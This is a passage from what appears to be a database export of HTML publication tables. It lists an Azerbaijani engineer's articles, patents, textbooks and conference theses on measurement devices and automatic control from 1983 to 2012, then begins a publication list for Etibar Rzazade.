style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">Метрология, стандартизация и управление качеством. Тематический сб.научных трудов, Баку, 1983</p></td><td width=\"60\"><p style=\"background:undefined \">1983</p></td><td width=\"60\"><p style=\"background:undefined \">6</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Многофункциональное аналого-цифровое измерительное устройство</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">Абдуллаев И.М.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"102\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Информационный листок, серия «Автоматика и приборостроение»,</p><p style=\"background:undefined \">№1, 1985</p></td><td width=\"60\"><p style=\"background:undefined \">1985</p></td><td width=\"60\"><p style=\"background:undefined \">4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Современное состояние и перспективы применения микро-ЭВМ и микро-процессоров в системах автоматического контроля и управления технологическими процессами</p></td><td width=\"102\"><p style=\"background:undefined \">Обзорный</p><p style=\"background:undefined \">материал</p></td><td width=\"84\"><p style=\"background:undefined \">Абдуллаев И.М.</p><p style=\"background:undefined \">Абдурагимов Ф.А.</p></td><td width=\"102\"><p style=\"background:undefined \">Обзорная информация, серия</p><p style=\"background:undefined \">«Автоматика и приборостроение»,</p><p style=\"background:undefined \">Баку, АзНИИНТИ, 1985</p></td><td width=\"60\"><p style=\"background:undefined \">1985</p></td><td width=\"60\"><p style=\"background:undefined \">24</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Автоматическое измерение активной мощности в однофазной и трехфазной электрических цепях</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">Исмаилов Ш.Ю.</p><p style=\"background:undefined \">Абиев А.Н.</p></td><td width=\"102\"><p style=\"background:undefined \">Межвузовский сб.научных трудов «Автоматизация экспериментальных исследований», Рязань, 1985</p></td><td width=\"60\"><p style=\"background:undefined \">1985</p></td><td width=\"60\"><p style=\"background:undefined \">5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Преобразователь активной мощности трехфазной электрической цепи в цифровой код</p></td><td width=\"102\"><p style=\"background:undefined \">патент</p></td><td width=\"84\"><p style=\"background:undefined \">Исмаилов Ш.Ю.</p><p style=\"background:undefined \">Абдуллаев И.М.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"102\"><p style=\"background:undefined \">Авторское свидетельство СССР,</p><p style=\"background:undefined \">№1150569, Бюллетень изобретений, №14, Москва, 1985</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"60\"><p style=\"background:undefined \">1985</p></td><td width=\"60\"><p style=\"background:undefined \">4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Автоматизированная информационно-измерительная система контроля качества погружных электродвигателей</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">«Приборы,средства автоматизации и системы управления» вып.5,Москва, НИИТЭИприборостроения, 1985</p></td><td width=\"60\"><p style=\"background:undefined \">1985</p></td><td width=\"60\"><p style=\"background:undefined \">1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Выбор рациональной совокупности контро-лируемых&nbsp; параметров при построении одного класса систем автоматического контроля</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">Интегрированные системы управления и переработки информации Тематический сб. научных трудов, Баку,1985</p></td><td width=\"60\"><p style=\"background:undefined \">1985</p></td><td width=\"60\"><p style=\"background:undefined \">6</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Определение погрешности от квантования во времени при преобразовании энергетических параметров&nbsp; электрических сигналов</p></td><td width=\"102\"><p style=\"background:undefined \">тезис</p></td><td width=\"84\"><p style=\"background:undefined \">Оруджева А.А.</p></td><td width=\"102\"><p style=\"background:undefined \">Республиканская научная конференция «Электронные средства в промышленности». Тезисы докладов, Баку, 1987</p></td><td width=\"60\"><p style=\"background:undefined \">1987</p></td><td width=\"60\"><p style=\"background:undefined \">1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Об одном методе&nbsp; аналого-цифрового преобразования действующего значения переменного напряжения</p></td><td width=\"102\"><p style=\"background:undefined \">тезис</p></td><td width=\"84\"><p style=\"background:undefined \">Мамедова Л.Т.</p></td><td width=\"102\"><p style=\"background:undefined \">Республиканская научная конференция «Электронные средства в промышленности». Тезисы докладов, Баку, 1987</p></td><td width=\"60\"><p style=\"background:undefined \">1987</p></td><td width=\"60\"><p style=\"background:undefined \">1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Применение интегрирующих частотно-временных преобразователей для построения цифровых измерителей активной мощности</p></td><td width=\"102\"><p style=\"background:undefined \">тезис</p></td><td width=\"84\"><p style=\"background:undefined \">Исмаилов Ш.Ю.</p></td><td width=\"102\"><p style=\"background:undefined \">Интегрирующие частотные время-импульсные преобразователи и цифровые средства измерения на их основе. Тезисы докладов, Пенза,1987</p></td><td width=\"60\"><p style=\"background:undefined \">1987</p></td><td width=\"60\"><p style=\"background:undefined \">3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Современное состояние и перспективы развития систем автоматического контроля электрических параметров промышленных объектов</p></td><td width=\"102\"><p style=\"background:undefined \">Обзорный</p><p style=\"background:undefined \">материал</p></td><td width=\"84\"><p style=\"background:undefined \">Абдуллаев И.М.</p><p style=\"background:undefined \">Абдурагимов Ф.А.</p></td><td width=\"102\"><p style=\"background:undefined \">Обзорная информация, серия «Авто-матика и приборостроение», Баку, АзНИИНТИ, 1987</p></td><td width=\"60\"><p style=\"background:undefined \">1987</p></td><td width=\"60\"><p style=\"background:undefined \">26</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Лабораторные работы по курсу «Электрические измерения и информационные устройства роботов»</p></td><td width=\"102\"><p style=\"background:undefined \">Методическое посовие</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">Баку, изд-во АзПИ, 1987</p></td><td width=\"60\"><p style=\"background:undefined \">1987</p></td><td width=\"60\"><p style=\"background:undefined \">42</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">An approach to the architecture of Automatized measuring-computing systems used for electric power quality control</p></td><td width=\"102\"><p style=\"background:undefined \">Material of seminar</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Abstracts.&nbsp; Seminar of Intelligent Measurement Systems, Budapest Technical University, 1990</p></td><td width=\"60\"><p style=\"background:undefined \">1990</p></td><td width=\"60\"><p style=\"background:undefined \">12</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Структурные и алгоритмические принципы построения микропроцессорных измерительно-вычислительных устройств параметров электроэнергетических объектов</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">Сб. «Микропроцессорные системы и средства управления в технических системах», Баку, 1992</p></td><td width=\"60\"><p style=\"background:undefined \">1992</p></td><td width=\"60\"><p style=\"background:undefined \">5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Использование принципа развертывающего преобразования при измерении действующего значения переменного напряжения инфранизкой частоты</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"102\"><p style=\"background:undefined \">Сб. «Информационно-измерительная техника», вып. 19, Пенза, 1992</p></td><td width=\"60\"><p style=\"background:undefined \">1992</p></td><td width=\"60\"><p style=\"background:undefined \">5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">К вопросу проектирования&nbsp; систем автоматизации процесса резания на металлорежущих станках</p></td><td width=\"102\"><p style=\"background:undefined \">Материалы</p><p style=\"background:undefined \">семинара</p></td><td width=\"84\"><p style=\"background:undefined \">Джафаров Э.М.</p></td><td width=\"102\"><p style=\"background:undefined \">Материалы Республиканского научно-методического семинара «Методология САПР в машино-строении», Баку, 1993</p></td><td width=\"60\"><p style=\"background:undefined \">1993</p></td><td width=\"60\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Устройство автоматического контроля нагрузки на валу по потребляемой мощности главным двигателем металлорежущего станка</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">«Ученые записки АзТУ», №2, 1993</p></td><td width=\"60\"><p style=\"background:undefined \">1993</p></td><td width=\"60\"><p style=\"background:undefined \">4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Universal automatic control system of industrial objects microprocessor-based&nbsp; hard wares</p></td><td width=\"102\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">Abstracts. The first National Congress on the Development in Collaborations between Industries and Edicational/Research&nbsp; Centres, Tabriz University, Iran, 1993</p></td><td width=\"60\"><p style=\"background:undefined \">1993</p></td><td width=\"60\"><p style=\"background:undefined \">1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">О расширении функциональных возможностей интегрирующих преобра-зователей&nbsp; напряжения в интервал времени</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">«Ученые записки АзТУ», №1, 1996</p></td><td width=\"60\"><p style=\"background:undefined \">1996</p></td><td width=\"60\"><p style=\"background:undefined \">7</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Информационное обеспечение систем&nbsp;&nbsp; автоматического управления техноло-гическими&nbsp; процессами металлообработки на основе микропроцессорных средств</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">«Ученые записки АзТУ», №1, 1997</p></td><td width=\"60\"><p style=\"background:undefined \">1997</p></td><td width=\"60\"><p style=\"background:undefined \">3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Построение автоматизированной измерительно-вычислительной системы&nbsp; контроля промышленных объектов</p></td><td width=\"102\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">тезис</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"84\"><p style=\"background:undefined \">Гурбанов Т.Б.</p><p style=\"background:undefined \">Намазов М.Б.</p></td><td width=\"102\"><p style=\"background:undefined \">Тезисы докладов Международной научно-технической конференции «Актуальные проблемы пищевой, легкой промышленности и сферы обслуживания», Гянджа,1999</p></td><td width=\"60\"><p style=\"background:undefined \">1999</p></td><td width=\"60\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Применение одного вида аппроксимации</p><p style=\"background:undefined \">нелинейных характеристик&nbsp; для построения функциональных преобразователей</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">«Ученые записки АзТУ», №2, 1999</p></td><td width=\"60\"><p style=\"background:undefined \">1999</p></td><td width=\"60\"><p style=\"background:undefined \">4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Техники системлярдя информасийа- юлчмя гурьулары (Али мяктябляр цчцн дярслик)</p></td><td width=\"102\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Dərslik</p></td><td width=\"84\"><p style=\"background:undefined \">Гурбанов Т.Б.</p><p style=\"background:undefined \">Намазов М.Б</p></td><td width=\"102\"><p style=\"background:undefined \">«Елм» няшриййаты, Бакы, 2000</p></td><td width=\"60\"><p style=\"background:undefined \">2000</p></td><td width=\"60\"><p style=\"background:undefined \">302</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Многофункциональные интегрирующие АЦП систем контроля и управления</p></td><td width=\"102\"><p style=\"background:undefined \">Материалы докладов</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">Материалы докладов 47-й юбилейной научно-технической&nbsp; конференции, частьП, АзТУ, 2000</p></td><td width=\"60\"><p style=\"background:undefined \">2000</p></td><td width=\"60\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Металкясмя системляриндя информасийаны дахилетмя алтсистеми</p></td><td width=\"102\"><p style=\"background:undefined \">tezis</p></td><td width=\"84\"><p style=\"background:undefined \">Нагвердийев А.Т.</p></td><td width=\"102\"><p style=\"background:undefined \">АзТУ-нун 45-жи ТЕТК-нын мярузяляринин тезисляри, Бакы, 2002</p></td><td width=\"60\"><p style=\"background:undefined \">2002</p></td><td width=\"60\"><p style=\"background:undefined \">1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Метал емалы&nbsp; просесляринин идаря едилмяси цчцн информасийа мянбяляринин анализи вя сечилмяси</p></td><td width=\"102\"><p style=\"background:undefined \">&nbsp;tezis</p></td><td width=\"84\"><p style=\"background:undefined \">Ряжябов Ф.А.</p></td><td width=\"102\"><p style=\"background:undefined \">АзТУ-нун 46-жы ТЕТК-нын мярузяляринин тезисляри, Бакы, 2003</p></td><td width=\"60\"><p style=\"background:undefined \">2003</p></td><td width=\"60\"><p style=\"background:undefined \">1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Некоторые вопросы построения систем автоматического контроля&nbsp; ТП металлообработки</p></td><td width=\"102\"><p style=\"background:undefined \">Материалы конференции</p></td><td width=\"84\"><p style=\"background:undefined \">Мамедов Г.А.</p></td><td width=\"102\"><p style=\"background:undefined \">Материалы научно-практической конференции, Баку, 2003</p></td><td width=\"60\"><p style=\"background:undefined \">2003</p></td><td width=\"60\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Верижиляр системи</p></td><td width=\"102\"><p style=\"background:undefined \">Dərs vəsaiti</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">«Шур» няшриййаты, Бакы, 2003</p></td><td width=\"60\"><p style=\"background:undefined \">2003</p></td><td width=\"60\"><p style=\"background:undefined \">201</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Метал емалы системляриндя буружу момент щаггында информасийанын илкин емалы алтсистеми</p></td><td width=\"102\"><p style=\"background:undefined \">Konfransın materialları</p></td><td width=\"84\"><p style=\"background:undefined \">Нябийев Е.А.</p></td><td width=\"102\"><p style=\"background:undefined \">Али мяктяб тялябяляринин ХЫХ Республика елми конфрансынын материаллары, Бакы, 2003</p></td><td width=\"60\"><p style=\"background:undefined \">2003</p></td><td width=\"60\"><p style=\"background:undefined \">1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Методические указания к лабораторным работам по дисциплине «Элементы и устройства систем управления»</p></td><td width=\"102\"><p style=\"background:undefined \">Методическoе</p><p style=\"background:undefined \">пособие</p></td><td width=\"84\"><p style=\"background:undefined \">Намазов М.Б.</p><p style=\"background:undefined \">Гасымов А.Ю.</p></td><td width=\"102\"><p style=\"background:undefined \">Баку, АзТУ, 2004</p></td><td width=\"60\"><p style=\"background:undefined \">2004</p></td><td width=\"60\"><p style=\"background:undefined \">44</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">«Идаряетмя системляринин схемотехникасы» фянниндян лабораторийа ишляринин йериня йетирилмясиня даир методики эюстяриш</p></td><td width=\"102\"><p style=\"background:undefined \">методики эюстяриш</p></td><td width=\"84\"><p style=\"background:undefined \">Гасымов А.Й.</p><p style=\"background:undefined \">Аширов З.П.</p></td><td width=\"102\"><p style=\"background:undefined \">Бакы, АзТУ, 2005</p></td><td width=\"60\"><p style=\"background:undefined \">2005</p></td><td width=\"60\"><p style=\"background:undefined \">85</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Металкясян дязэащда емал олунан деталын юлчцляриня автоматик нязарят алтсистеми</p></td><td width=\"102\"><p style=\"background:undefined \">&nbsp;тезис</p></td><td width=\"84\"><p style=\"background:undefined \">Пирийев Е.М.</p></td><td width=\"102\"><p style=\"background:undefined \">АзТУ-нун 48-жи ТЕТК-нын мярузяляринин тезисляри, Бакы, 2005</p></td><td width=\"60\"><p style=\"background:undefined \">2005</p></td><td width=\"60\"><p style=\"background:undefined \">1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Некоторые вопросы построения функциональных преобразователей подсистем предварительной обработки информации&nbsp; в АСУ ТП</p></td><td width=\"102\"><p style=\"background:undefined \">конфрансын материаллары</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">Профессор-мцяллим щейятинин вя аспирантларын АзТУ-нун 55 иллийиня щяср едилмиш елми конфрансын материаллары, Бакы, АзТУ, 2005</p></td><td width=\"60\"><p style=\"background:undefined \">2005</p></td><td width=\"60\"><p style=\"background:undefined \">4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">«Идаряетмя системляринин елемент вя гурьулары» (Али мяктябляр цчцн дярслик)</p></td><td width=\"102\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Dərslik</p></td><td width=\"84\"><p style=\"background:undefined \">Мяммядов Щ Я.</p></td><td width=\"102\"><p style=\"background:undefined \">«Елм» няшриййаты», Бакы, 2006</p></td><td width=\"60\"><p style=\"background:undefined \">2006</p></td><td width=\"60\"><p style=\"background:undefined \">221</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Подсистема автоматического контроля температурного режима на металло-режущих станках</p></td><td width=\"102\"><p style=\"background:undefined \">Материалы конференции</p></td><td width=\"84\"><p style=\"background:undefined \">Мамедов Г.А.</p></td><td width=\"102\"><p style=\"background:undefined \">Материалы научно-технической конференции, Баку, АзТУ, 2008</p></td><td width=\"60\"><p style=\"background:undefined \">2008</p></td><td width=\"60\"><p style=\"background:undefined \">4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Keyfiyyətə nəzarət,diaqnostika üsul və cihazları</p></td><td width=\"102\"><p style=\"background:undefined \">Metodik göstərişlər</p></td><td width=\"84\"><p style=\"background:undefined \">Əfəndiyev O.Z.</p><p style=\"background:undefined \">Kərimli T.İ.</p><p style=\"background:undefined \">Fərhadov V.Q.</p></td><td width=\"102\"><p style=\"background:undefined \">Bakı, MAA,</p><p style=\"background:undefined \">2008</p></td><td width=\"60\"><p style=\"background:undefined \">2008</p></td><td width=\"60\"><p style=\"background:undefined \">24</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Avtomatlaşdırmanın əsasları (ali məktəblər üçün dərslik)</p></td><td width=\"102\"><p style=\"background:undefined \">Dərslik</p></td><td width=\"84\"><p style=\"background:undefined \">Məmmədov H.Ə.</p><p style=\"background:undefined \">Namazov M.B.</p></td><td width=\"102\"><p style=\"background:undefined \">Bakı, Elm,</p><p style=\"background:undefined \">2009</p></td><td width=\"60\"><p style=\"background:undefined \">2009</p></td><td width=\"60\"><p style=\"background:undefined \">461</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Подсистема получе-ния информации о температуре нагрева обмотки электро-двигателя</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">Əfəfndi-yev O.Z.</p></td><td width=\"102\"><p style=\"background:undefined \">Milli Aviasiya Akademiyasının Elmi əsərləri №2(2)</p><p style=\"background:undefined \">Bakı,2009</p></td><td width=\"60\"><p style=\"background:undefined \">2009</p></td><td width=\"60\"><p style=\"background:undefined \">7</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Metal emalı sistemlərində informasiyanı avtomatik daxiletmə altsistemi</p></td><td width=\"102\"><p style=\"background:undefined \">konfrans</p><p style=\"background:undefined \">materialları</p></td><td width=\"84\"><p style=\"background:undefined \">Əliyev K.K.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"102\"><p style=\"background:undefined \">AzTU-nun 53-cü TETK materialları,AzTU,2010</p></td><td width=\"60\"><p style=\"background:undefined \">2010</p></td><td width=\"60\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\">&nbsp;Юлчмя техникасынын ясаслары (Али мяктябляр цчцн дярслик)</td><td width=\"102\"><p style=\"background:undefined \">Dərslik</p></td><td width=\"84\"><p style=\"background:undefined \">Мяммядов Щ.Я.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"102\"><p style=\"background:undefined \">Бакы, 2011</p></td><td width=\"60\"><p style=\"background:undefined \">2011</p></td><td width=\"60\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p style=\"background:undefined \">292</p></td></tr></tbody></table></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><div style=\"background:undefined \"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p style=\"background:undefined \">Юлчмя техникасынын ясаслары</p></td></tr></tbody></table></div>(Дярс вясаити)</td><td width=\"102\"><p style=\"background:undefined \">Dərslik</p></td><td width=\"84\"><div style=\"background:undefined \"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p style=\"background:undefined \">НязярхановЯ.Т.</p><p style=\"background:undefined \">Фярщадов В.Г.</p></td></tr></tbody></table></div>Исмайылов Н.М<p style=\"background:undefined \">&nbsp;</p></td><td width=\"102\"><p style=\"background:undefined \">Бакы, МАА,2011</p></td><td width=\"60\"><p style=\"background:undefined \">2011</p></td><td width=\"60\"><p style=\"background:undefined \">196</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p style=\"background:undefined \">Подсистема получения&nbsp; и обра-ботки информации о силовых характеристиках процесса резания</p></td></tr></tbody></table></td><td width=\"102\"><p style=\"background:undefined \">konfrans</p><p style=\"background:undefined \">materialları</p></td><td width=\"84\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Кулиева Г.С.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"102\"><p style=\"background:undefined \">AzTU-nun 53-cü TETK materialları,AzTU,2011</p></td><td width=\"60\"><p style=\"background:undefined \">2011</p></td><td width=\"60\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Получение и и обработка информации для управления ходом технологического процесса металлообработки</p></td><td width=\"102\"><p style=\"background:undefined \">Елми ясярляр</p></td><td width=\"84\"><p style=\"background:undefined \">Мяммядов Щ.Я..</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"102\"><div style=\"background:undefined \"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p style=\"background:undefined \">Елми ясярляр, №2, АзТУ, 2011, (Бейнялхалг E/T конф.&nbsp; «Мцасир информасийа вя коммуникасийа технол. инкишаф&nbsp; перспективляри»,</p></td></tr></tbody></table></div>Бакы, Елм,2011)</td><td width=\"60\"><p style=\"background:undefined \">2010</p></td><td width=\"60\"><p style=\"background:undefined \">4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><div style=\"background:undefined \"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p style=\"background:undefined \">К вопросу построения систем автоматического контроля пара-</p></td></tr></tbody></table></div>метров процесса механообра-ботки</td><td width=\"102\"><p style=\"background:undefined \">---</p></td><td width=\"84\"><p style=\"background:undefined \">Мяммядов Щ.Я.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"102\"><p style=\"background:undefined \">«Автоматика вя идаряетмянин мцасир проблем-ляри» Республика елми-техники конф. материал-лары,Бакы, 2012</p></td><td width=\"60\"><p style=\"background:undefined \">2012</p></td><td width=\"60\"><p style=\"background:undefined \">3</p></td></tr></tbody></table></div><br></div>'),(1298,830,'az','Etibar Rzazade','Etibar Rzazade','<div><br></div><div> <div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td><p style=\"background:undefined \">#</p></td><td width=\"167\"><p style=\"background:undefined \"><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"91\"><p style=\"background:undefined \"><strong>Publications type/publication activities</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"95\"><p style=\"background:undefined \"><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Publisher &amp; Place of&nbsp;&nbsp;Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>Year Published</strong><strong></strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\"><p style=\"background:undefined \">1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p style=\"background:undefined \">Introduction to computer science</p></td><td width=\"91\"><p style=\"background:undefined \">Book</p></td><td width=\"95\"><p style=\"background:undefined \">Rzazade E.M.&nbsp;&nbsp;L.G. Muradkhanova</p></td><td width=\"102\"><p style=\"background:undefined \">Baku,Khazar University Press</p></td><td width=\"60\"><p style=\"background:undefined \">2001</p></td><td width=\"60\"><p style=\"background:undefined \">155</p></td></tr><tr><td width=\"31\"><p style=\"background:undefined \">2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p style=\"background:undefined \">Компьютерная Глобалистика</p></td><td width=\"91\"><p style=\"background:undefined \">Book</p></td><td width=\"95\"><p style=\"background:undefined \">R.M.Osmanzade ,Rzazade E.M.&nbsp;</p></td><td width=\"102\"><p style=\"background:undefined \">Baku, Azerbaijan</p></td><td width=\"60\"><p style=\"background:undefined \">2005</p></td><td width=\"60\"><p style=\"background:undefined \">227</p></td></tr><tr><td width=\"31\"><p style=\"background:undefined \">3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p 